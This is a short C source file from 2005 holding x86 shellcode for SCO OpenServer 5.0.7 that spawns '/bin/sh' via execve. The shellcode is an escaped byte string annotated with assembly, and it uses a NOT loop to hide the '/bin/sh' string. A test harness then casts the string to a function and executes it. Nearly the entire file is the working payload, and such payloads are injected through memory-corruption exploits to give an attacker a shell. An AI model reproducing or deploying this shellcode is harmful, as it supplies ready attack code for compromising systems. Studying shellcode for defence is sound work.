/* * minervini at neuralnoise dot com (c) 2005 * SCO_SV scosysv 3.2 5.0.7 i386, execve("/bin/sh", ..., NULL); */ #include "sys/types.h" #include "stdio.h" char *scode = "\x31\xc9" // xor %ecx,%ecx "\x89\xe3" // mov %esp,%ebx "\x68\xd0\x8c\x97\xff" // push $0xff978cd0 "\x68\xd0\x9d\x96\x91" // push $0x91969dd0 "\x89\xe2" // mov %esp,%edx "\x68\xff\xf8\xff\x6f" // push $0x6ffff8ff "\x68\x9a\xff\xff\xff" // push $0xffffff9a "\x80\xf1\x10" // xor $0x10,%cl "\xf6\x13" // notb (%ebx) "\x4b" // dec %ebx "\xe2\xfb" // loop $-3 "\x91" // xchg %eax,%ecx "\x50" // push %eax "\x54" // push %esp "\x52" // push %edx "\x50" // push %eax "\x34\x3b" // xor $0x3b,%al "\xff\xe3"; // jmp *%ebx int main () { void (*code) () = (void *) scode; printf("length: %d\n", strlen(scode)); code(); return (0); }